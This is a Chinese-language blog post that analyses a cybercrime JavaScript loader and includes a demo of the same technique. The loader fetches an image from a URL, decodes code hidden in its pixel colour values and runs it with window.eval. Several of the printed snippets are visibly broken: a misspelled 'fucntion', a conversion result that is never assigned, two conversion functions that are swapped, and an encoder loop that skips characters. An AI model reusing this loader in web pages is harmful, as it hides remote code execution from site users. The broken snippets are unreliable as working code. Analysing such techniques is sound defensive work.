黑產程式碼解密--利用canvas載入程式碼
- 2019 年 11 月 26 日
- 筆記
前段時間獲取到黑產的一些程式碼,不得不感嘆黑產的程式碼實在在寫的是好得很,思路巧妙,環環相扣。不得不說,技術不好,黑產都做不了了。雖然分析了好多天,但是也只是一知半解。這裡抽出一小部分來講一下。二話不說,先上程式碼:
最初的程式碼是經過混淆的,程式碼經過整理如下:
var createImgElement = function(urla, b) { var imgElement = document.createElement('img'); var canvasEle = document.createElement('canvas'); imgElement['crossOrigin'] = true; imgElement['onload'] = function() { canvasEle.width = this.width; canvasEle.height = this.height; var canvasContext = canvasEle.getContext('2d') canvasContext.drawImage(this, 0, 0, this.width, this.height); for (var canvasContext = canvasContext.getImageData(0, 0, this.width, this.height), cancasDataLength = canvasContext.data.length, arr = [], i = 0; i < cancasDataLength; i += 4) { var code = canvasContext.data[i] var code1 = canvasContext.data[i + 1] var code2 = canvasContext.data[i + 2] canvasContext.data[i + 2].toString(16); 1 == code1.length && (code1 = 0 + code1); 1 == code2.length && (code2 = 0 + code2); 0 != Number(code + code1 + code2) && arr.push(String.fromCharCode(Number(code + code1 + code2))); } window.eval(arr.join('')); console.log(arr.join('')); b && b(); } imgElement.src = urla; };這段程式碼的主要目的是通過使用一個圖片的連接,將這個圖片載入到 canvas 中,再利用 canvas 去獲取惡意程式碼並執行。通過圖片去隱藏資訊是一種常見的做法,這段程式碼就是通過 canvas 去執行圖片中隱含的惡意程式碼。程式碼還支援傳入回調函數,若回調函數存在,則執行回調函數。
在這裡還利用一個電腦影像的知識,即像素中的 RGBA 值。Canvas 中的 ImageData 對象中每一個像素都包含了4個資訊,即 RGBA 值。
- R - 紅色 (0-255)
- G - 綠色 (0-255)
- B - 藍色 (0-255)
- A - alpha 通道 (0-255; 0 是透明的,255 是完全可見的)
通過將程式碼轉化為 ascii 碼,將其隱藏在圖片中的 RGB 資訊中,黑產的 alpha 值都設置的為255。這樣非常巧妙地就實現了程式碼資訊和圖片之間的轉換。
這裡涉及到一個 canvas 和圖片之間的相互轉化。下面提供兩個相互轉化的函數:
var canvasToImg = fucntion(image) { var canvas = document.createElement('canvas'); canvas.width = image.width; canvas.height = image.height; canvas.getContext('2d').drawImage(image, width, height); return canvas; } var imgToCanvas = function(canvas) { var image = new Image(); image.src = canvas.toDataUrl('image/png'); return image; }所以黑產也是通過將惡意程式碼放入到圖片之中,從而以後可以通過 canvas 去讀取惡意程式碼。下面寫一個小的 demo 來複現這樣一個簡單的過程:
var createImgByCode = function(codeStr, width, height) { var imgElement = document.createElement('img'); var canvasEle = document.createElement('canvas'); canvasEle.width = width; canvasEle.height = height; var canvasContext = canvasEle.getContext('2d'); var data = new Array(4 * width * height); for (var i = 0; i < codeStr.length; i += 4) { var c = codeStr[i]; var charCode = c.charCodeAt(); var code = 0; var code1 = 16; var code2 = charCode - code1; data[i] = code; data[i + 1] = code1; data[i + 2] = code2; data[i + 3] = 255; } data = Uint8ClampedArray.from(data); var imgData = new ImageData(data, width, height); canvasContext.putImageData(imgData, 0, 0); imgElement.src = canvasEle.toDataURL("image/png"); imgElement.width = width; imgElement.height = height; imgElement.crossOrigin = ' '; document.querySelector("#container").appendChild(imgElement); } var readCodeFromImg = function() { var img = document.querySelector('#container img'); var width = 20; var height = 20; var canvas = document.createElement('canvas'); canvas.width = width; canvas.height = height; var context = canvas.getContext('2d'); context.drawImage(img, 0, 0, width, height); for (var context = context.getImageData(0, 0, width, height), cancasDataLength = context.data.length, arr = [], i = 0; i < cancasDataLength; i += 4) { var code = context.data[i]; var code1 = context.data[i + 1]; var code2 = context.data[i + 2]; 1 == code1.length && (code1 = 0 + code1); 1 == code2.length && (code2 = 0 + code2); 0 != Number(code + code1 + code2) && arr.push(String.fromCharCode(Number(code + code1 + code2))) } console.log(arr.join('')); } createImgByCode("14324dfjkkdf432473724afjdfshjkdfkl53453453425dlkfklsdf", 20, 20); readCodeFromImg();createImgByCode 函數可以將任意字元串轉化為一個圖片,接著通過 canvas 去載入程式碼。不過這裡面有一個問題,就是通過 createImgByCode 函數生成的圖片是一個 base64 圖片,不能夠直接被載入,這個圖片必須被存儲為 png 格式才能夠通過另一個函數去載入程式碼。
還有其他的一些黑產的程式碼,思路都比較獨特,魯棒性也很好,比一般成寫出來的程式碼應該好多了。所以道高一尺魔高一丈,還得多多學習才是。
